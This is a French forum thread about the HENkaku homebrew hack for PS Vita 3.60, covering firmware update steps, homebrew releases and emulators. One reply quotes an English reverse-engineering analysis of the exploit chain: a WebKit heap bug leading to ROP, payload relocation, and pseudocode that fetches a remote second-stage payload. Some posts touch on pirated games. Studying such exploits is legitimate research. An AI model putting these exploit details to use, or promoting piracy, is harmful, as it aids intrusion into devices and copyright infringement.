deaphroat

Comment réveiller une scène?

18 posts in this topic

Comme vous le savez, la semaine dernière, YifanLU annonçait HENKaku, un "Homebrew Enabler" pour Ps Vita en 3.60.

Henkaku_local.jpg



Ce Hack développé par la team molecule (Davee, Proxima, xyz, et Yifanlu) est différent par rapport à un exploit de type VHBL/ARK car ces derniers s’exécutent seulement dans l'émulateur Psp de la Vita.

HENKaku est un bon point d'entrée pour exploiter toute la puissance de la Vita, mais en étant plus simple à mettre en oeuvre que Rejuvenate. Rejuvenate restera le premier hack natif de la Vita, mais le besoin d'une console reliée à un ordinateur et le Firmware 3.51 le rend presque obsolète dès la sortie de HENKaku.

Pour la mise en place du HENKaku, ce référer à cet article : HENkaku le launcher de Hombrew pour PSVITA 3.60

Comme attendu par certains à chaque Hacks de consoles, est-ce que cela va amener le piratage des jeux? Un Iso Loader ? Faut-il en parler ? Le condamner ? Voyons déjà ce que cela amène.


MrGas nous a présenté un screenshot d'une sauvegarde du jeu Final Fantasy X HD décrypté et re-crypté. La possibilité d’éditer les sauvegardes apportent des cheats-in-game, les choses habituelles comme l'ajout de vie et de munitions, mais quand est-il des trophées et autres succès? Comment Sony réagira si cela touche son serveur ?

Par contre, être en mesure de faire du Peek and Poke dans les sauvegardes de jeux vidéos est un des moyens habituels du Hack console, comme par exemple les exploits sur Psp incluant ceux de l’émulateur Vita ou comme sur 3DS et SuperMysteryChunkhax et autres jeux...

Au temps de la Psp et des sauvegardes qui n'étaient pas cryptées en fonction de la console, il était facile de s'échanger des sauvegardes. Maintenant, injecter une sauvegarde dans une autre console nécessite un deuxième exploit. Comme sur 3DS où l'on rencontre cette situation, sur 3DS cela se fait principalement via l'achat d'une Action Replay...



Comment mettre à jour sa Ps Vita ou Vita Tv en 3.60 ?

Avec la mise à jour 3.61 de sortie, il est impossible de faire une mise à jour automatique sous peine de perdre l’accès au Hack.

Voici un petit tuto rapide pour mettre à jour en 3.60. ATTENTION, le downgrade est IMPOSSIBLE !!! , si votre console est en 3.61, c'est fichu :(.



- Télécharger le Firmware 3.60 ICI

Pour une Vita Tv, les opérations s’arrêtent ici, regarder la procédure pour installer une mise à jour depuis une clé USB (en gros, il suffit de copier PSVUPDAT.PUP dans un dossier appelé "PSVITA/UPDATE/").

- Télécharger QCMA
- Renommer le Firmware télécharger PSVUPDAT.PUP en PSP2UPDAT.PUP
- Copier le Firmware dans le dossier Updates de QCMA (chemin vérifiable dans les paramètres de QCMA, normalement dans "c:\users\[username]\Documents\PSV Updates")
- Télécharger ce fichier et le mettre dans le même dossier
- Activer le mode avion sur la Vita
- Lancer QCMA sur le Pc, brancher la Vita par USB
- Sur la Vita, aller dans mise à jour, puis dans mettre à jour depuis le pc
- Vérifier que la mise à jour proposée est bien la 3.60 puis mettre à jour


Mise à jour de HENkaku

Une nouvelle version de HENkaku est disponible depuis le 3 août. Elle apporte le support de Dynarec. La compilation dynamique est en gros une fonction du système d'exploitation qui permet à un programme de compiler certains codes à la volés. C'est extrêmement utile pour les émulateurs.

Également au programme, une surprise cachée sous les fagots. La team a demandée d'observer le Payload and co. Une nouvelle option intéressante serait disponible.

Pour mettre à jour, il suffit de re-installer HENkaku. Éteindre seulement complètement la console avant.


Les Iso Vita pourront-il être lancés via HENKaku ?

La sortie de HENkaku a apportée les Homebrews et les émulateurs sur Vita, mais le 8 août le premier jeu piraté jouable sous HENKaku a fait surface. Ce jeu en question est Adventure Time, the Secret of the nameless kingdom, un jeu de 2014.

Distribué au format .vpk, le format des Homebrews HENKaku, il ne peut pas être installé directement depuis molecularShell, mais semble fonctionner depuis VitaShell qui gère les gros fichiers.

Ce jeu a probablement été dumpé depuis une Vita Devkit et purgé de ses DRM. La question est de savoir si une personne avait l’accès à une copie de jeu sans DRM ou si une team est déjà en mesure de supprimer les DRM des jeux commerciaux.



Les Iso Psp pourront-il être lancés via HENKaku ?

Le lancement d'un Iso Psp nécessite un exploit Kernel ePSP (un exploit Kernel dans l'émulateur Kernel de la Vita), le dernier a été patché mar Sony, mais on ne se sait pas ce que nous réserve les hackeurs, peut être que quelqu’un a un exploit caché ou peut être qu'HENKaku leur servira d'approche différente au Hack. Certains ont suggérés de modifier l’émulateur ePSP à la volé à travers HENKaku. Cela est-il possible ?



Reverse engineering


Peu de temps après la release du hack, Yifanlu tente la scène en les mettant au défi de reverse leur exploit en promettant un bon prix au gagnant :). Lui et sa team étant les rois de la scène actuellement, ils mettent leur trône en jeu, il demande, qu'on Reverse leur Hack et qu'on l'explique. Si cela arrive, comme d'accoutumé, ils postera tout leurs codes sources, les scripts et un bonus spécial. Ce n'est pas un concours du premier arrivé, premier gagnant donc tout le monde à sa chance.

Pour un bon début, Yifanlu a donné le nécessaire pour héberger soit même le serveur, un bon github de plus.


download.png Github HENKaku


Release Homebrew


HENkaku permet le lancement des Homebrews Vita natifs. En conséquence, tout ceux provenant de Rejuvenate et de la zone 3.5x devraient fonctionner. Techniquement, ils le doivent, mais le format n'est pas le même. HENkaku nécessite des fichiers .vpk quand Rejuvenate utilisait des fichiers velf (un fichier vpk est un fichier zip contenant le fichier velf et des metadata), Yifanlu indique donc que de nombreux Homebrews devront être recompilés.

Une liste de Homebrews fonctionnelle est disponible ici : wololo


VHBL

Bien évidement, on ne le présente plus. le VHBL le célèbre lanceur d'Homebrew Psp.

Un tutoriel est disponible ICI et ICI

Une liste de Homebrew compatible VHBL est disponible ICI et ICI


download.png VHBL



Vita TV Whitelister


Sur Vita Tv, seul les jeux enregistrés dans une liste blanche sont normalement jouables sur le boîtier. Cet Homebrew supprime les limitations et permet de jouer à tous les jeux.


download.png Vita TV Whitelister


VitaShell


vitashell_0.7.jpg



Le développeur TheFl0W a mit à jour le VitaShell, le rendant compatible avec les Vita en 3.60 HENKaku et en ajoutant plus d'options au passages. VitaShell est un gestionnaire de fichiers et un serveur FTP pour Vita, il peut donc remplacer molecularShell dans HENKaku.


download.png VitaShell

molecularShell mod par Smoke

Le molecularShell cache intentionnellement certaines partitions et dossiers critiques de la Vita. Ainsi, le développeur Smoke a décidé de sortir un mod pour passer certaines de ses limitations.

molecularShell est l'interface par défaut de HENKaku. Elle n'affiche que trois partitions/dossiers principales : app0, ur0, ux0. Selon le VitaDevWiki il y a :

- os0 found on the NAND is where the “main" OS (aka CoreOS) files are including all the kernel libraries and the most important user libraries. There’s always two copies of this for redundancy and updating will only update the inactive partition and the active flag is swapped.
- sa0 found on the NAND is the “bulky" data like fonts and handwriting information. Why is it a separate partition? Because it makes update files smaller. Your “systemdata" PUP provides the update for this partition.
- vs0 found on the NAND is the rest of the OS including all the system apps, the main shell, and the remaining user libraries
- vd0 found on the NAND is mainly used for the system registry (settings)
- ud0 found on the NAND is used for updates. When you update the Vita, the update file is copied here and the system reboots.
- pd0 found on the NAND is where Welcome Park (and the intro video) are found. It is also the “preinst" PUP update.
- ur0 found on the NAND is the remaining user data that is structured similarly to the memory card (it shares almost the same directory structure). App icon layout for example is found here.
- ux0 is the memory card
- gro0 is the game card
- grw0 is the writable part of the game card if supported
- tm0


molecularShell ne fait que cacher l’accès à ces fichiers. On peut y accéder (en lecture seul) en entrant le nom de la partition dans le client Ftp. La limitation en écriture est dû à la Vita, de la recherche est encore nécessaire.

Les intentions de la team ne sont pas clairs pour Wololo. Il ne sait pas s'il font ça pour la préventions des utilisateurs. Certains fichiers sont critiques et leurs effacements pourraient conduire à un brick. Ou si c'est pour leur volonté de ne pas faciliter le piratage. Par exemple, gro0 est l’emplacement depuis lequel la cartouche de jeu est accédée, des utilisateurs ont déjà confirmés qu'il leur étaient possible de copier le contenu d'une cartouche insérée dans leur console. Bien évidement, un Dump est pratiquement inutile tant que son contenu est crypté.


download.png molecularShell Mod


memcardswap

Smoke a sorti également memcardswap, un utilitaire qui permet d'échanger de carte mémoire entre ses comptes sans avoir besoin de formater les cartes. En pratique, cela permet d’utiliser la même carte mémoire sur plusieurs consoles. Cet homebrew ne fait que supprimer ux0:/id.dat de la carte mémoire et le remplace par un .dat neutre, mais c'est un raccourci pratique :).


download.png memcardswap


Release Homebrew jeux


Wololo a actualisé sa liste d'émulateur qui avait été faite à l’époque de Rejuvenate pour la rendre compatible avec le format de fichier de HENKaku.


download.png wololo.net



Retroarch

Retroarch était l'une des pièces manquantes à la Vita. Pas besoin de rappeler que Retroarch est un émulateur multi-plateforme incluant DOS, Genesis, NES, Super NES et autres... La dernière release est maintenant disponible pour Vita en 3.60 et contiendrait 18 cores (émulateurs).

C'est une release rapide qui contient beaucoup de bugs :
- PicoDrive crash
- Snes9x ne chargerait pas les roms
- CATSFC marche, mais échange les manettes : Option – Swap Joypad
- Gambatte ne veut pas charger les roms

download.png nightly release



2048

Le développeur dots_tb a sorti un port du jeu 2048. Pour ceux qui ne connaissent pas ce petit jeu de type pousse-pousse, il faut additionner des puissances de 2 jusqu'à arriver au tant attendu nombre 2048.

2048_ps_vita.jpg


github.com

MilieTetris

Le développeur Guidobot a sorti un port du jeu MilieTetris, une clone en nuance de gris du célèbre jeu Tetris.


download.png MilieTetris



homesite.png Source : wololo.net

0

Partager ce message


Lien vers message
Partager sur d'autres sites

salut all

Bon si y a des fautes ou erreurs MP :)

Sinon un Talk d'un participant de chez Wololo à propos du reverse :

Stage 1 (browser exploit):

Visiting http://henkaku.me and pressing the “Install” button results in a server side useragent check.

If the browser’s useragent matches the one of a PS Vita/PSTV on the latest firmware version (3.60), the user is redirected to http://go.henkaku.me and an exploit is deployed.

This exploit re-uses elements from the older public exploits (heap spraying method, sort() bug, scrollLeft attribute manipulation) and pairs them with a new heap corruption technique.

Team molecule renamed variables and methods to provide a simple obfuscation layer on the HTML code.

You can find the partially reversed code (focusing on the most crucial portions) here: http://pastebin.com/bYA4xGaQ

Similarly to older exploits, this allows to corrupt an object’s vtable and achieve ROP inside the SceWebkit module.

Offsets for libraries and relevant ROP gadgets are fetched from a javascript file (http://go.henkaku.me/payload.js) during the last stage of the exploit.

Team molecule implemented a dynamic method to relocate gadgets and functions’ offsets for each module after their base addresses’ are found (by looking at SceWebkit’s import stubs).

Stage 2 (ROP payload 1):

At this stage, the browser exploit has layed out the memory space to start the first ROP payload which is reconstructed from the payload.js file.

The payload.js file contains two arrays, one containing the payload’s binary data and another containing the relocation type for each word.

By crossing this information the exploit reads the payload and relocates all code offsets to their target module’s address space by adding the module’s base address to them:

Relocation type 0 -> Plain data stored inside the ROP space itself. No relocation needed.

Relocation type 1 -> Offset inside the ROP payload's stack.

Relocation type 2 -> Offset inside the SceWebkit module.

Relocation type 3 -> Offset inside the SceLibKernel module.

Relocation type 4 -> Offset inside the SceLibc module.

Relocation type 5 -> Offset inside the SceLibHttp module.

Relocation type 6 -> Offset inside the SceNet(?) module.

Relocation type 7 -> Offset inside the SceDriverUser(?) module.

The reconstructed payload can be find here: https://www.sendspace.com/file/mwpeut

And an analysis of the payload’s binary data can be found here: http://pastebin.com/gxc0cX1i

This payload is responsible for taking care of a few things like:

// Do stuff

...

// Create a new thread for the second payload

int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);

// Do stuff

...

// Construct the arguments for fetching the second payload

strcpy(stack_base + 0x000000BC, "http://go.henkaku.me/x");

snprintf(stack_base + 0x000002C4, 0x00000100, "?a1=%x", stack_base);

strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);

snprintf(stack_base + 0x000002C4, 0x00000100, "&a2=%x&a3=%x&a4=%x&", SceWebkit_base, SceLibKernel_base, SceLibc_base);

strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);

snprintf(stack_base + 0x000002C4, 0x00000100, "&a5=%x&a6=%x&a7=%x&", SceLibHttp_base, SceNet_base, SceDriverUser_base);

strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);

// Do stuff

...

// Send HTTP requests to fetch the second payload

SceLibHttp_92fd(0x00010000);

int http_buf = SceLibHttp_947b("ldr", 0x00000002, 0x00000001);

SceLibHttp_950b(http_buf, stack_base + 0x000000BC, 0x00000000);

int http_req = SceLibHttp_95ff(http_buf, 0x00000000, stack_base + 0x000000BC);

SceLibHttp_9935(http_req, 0x00000000, 0x00000000);

SceLibHttp_9983(http_req);

// Do stuff

...

After the first payload is done, an HTTP request is sent to the server using the following template:

http://go.henkaku.me/x?a1=stack_base&a2=webkit_base&a3=libkernel_base&a4=libc_base&&a5=libhttp_base&a6=net_base&a7=driveruser_base&

Example:

http://go.henkaku.me/x?a1=89f02000&a2=81b009a0&a3=e000dd00&a4=811c0cc0&&a5=e0607c80&a6=e01302b0&a7=e0047bf0&

The “x” script on the server side collects the base addresses for each module and generates a second payload to be run on the Vita.

Stage 3 (ROP payload 2):

The second payload is composed by another ROP chain and obfuscated ARM code.

A preliminary analysis of this payload reveals a few interesting things:

strcpy(stack_base + 0x000086B4, "sdstor0:");

strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext");

// Do stuff

...

strcpy(stack_base + 0x000086E4, "molecule0:");

SceLibKernel_a4ad("molecule0:");

SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);

// Do stuff

...

int thread1_id = sceKernelCreateThread("pln", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x000003FF, 0x00000000);

SceLibKernel_a791(thread1_id, 0x7C);

// Do stuff

...

int thread2_id = sceKernelCreateThread("mhm", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);

// Do stuff

...

SceNet_27E1("x", 0x00000002, 0x00000001);

SceNet_27E1("x", 0x00000002, 0x00000001);

SceNet_27E1("x", 0x00000002, 0x00000001);

SceNet_27E1("x", 0x00000002, 0x00000001);

SceNet_27E1("x", 0x00000002, 0x00000001);

// Do stuff

...

SceNet_27E1("sss", 0x00000002, 0x00000001);

SceNet_27E1("tst", 0x00000002, 0x00000007);

SceNet_27E1("tmp", 0x00000002, 0x00000001);

// Do stuff

...

To be continued…

~ H.

0

Partager ce message


Lien vers message
Partager sur d'autres sites

Merci deap pour le super article.

Je n'ai pas encore testé je dirais ca dès que possible.

0

Partager ce message


Lien vers message
Partager sur d'autres sites

Non tu peux avoir l émulateur psp

J avais intégré le hack mais j avais un écran blanc.

La seul raison que je garde ce fw c'est la sois disant faille du navigateur.

Mais c'est balo de rien avoir depuis tout ce temps je me demande même si il taf encore sur cette soit disante faille.

0

Partager ce message


Lien vers message
Partager sur d'autres sites

en 3.18 tu as juste les homebrews psp ?

ui tu as juste l’émulateur psp

là c'est un hack dans la vita...

donc oui passe en 3.60

0

Partager ce message


Lien vers message
Partager sur d'autres sites

ui tu as juste l’émulateur psp

là c'est un hack dans la vita...

donc oui passe en 3.60

OK je regarde ça et je m'y colle ça fait longtemps ;) tu l'as fait toi? ça donne quoi?

0

Partager ce message


Lien vers message
Partager sur d'autres sites

nop jai pas de vita moi... l'avancé du hack et le fait qu'elle commence a vieillir me fait songer a franchir le pas...

0

Partager ce message


Lien vers message
Partager sur d'autres sites

Salut a tous, je me tâte a tester, par contre qu'en est il des risques de ban ?

Modifié par momoprod
0

Partager ce message


Lien vers message
Partager sur d'autres sites

Pour l'instant, je ne crois pas avoir vu sur un seul forum une personne rapporter qu'elle a été bannie à cause de l'utilisation du hack PS Vita.

Moi-même, pour avoir activer ce hack dès qu'il est sorti, je n'ai toujours pas eu de problème.

Pourtant, j'ai déjà joué à plein de jeux "backup" en ligne et mis à jour mes trophées: il suffirait pour Sony de comparer les trophées et les achats en ligne (particulièrement sur les jeux qui ne sont sortis qu'en démat) pour s'apercevoir qu'il y a un problème dans l'équation...

De même, je reste parfois plusieurs 10aines de minutes en ligne avec un statut de jeu "Sur MolecularShell" car je suis en train de transférer des fichiers par FTP.

Autant, Sony semblait intransigeant sur la PS3, autant, pour la PS Vita, je pense qu'ils l'ont abandonnée depuis bien longtemps... :fou:

Après, je suis peut-être dans la liste pour une future vague de ban.

Modifié par OperationNT
0

Partager ce message


Lien vers message
Partager sur d'autres sites

Créer un compte ou se connecter pour commenter

Vous devez être membre afin de pouvoir déposer un commentaire

Créer un compte

Créez un compte sur notre communauté. C’est facile !


Créer un nouveau compte

Se connecter

Vous avez déjà un compte ? Connectez-vous ici.


Connectez-vous maintenant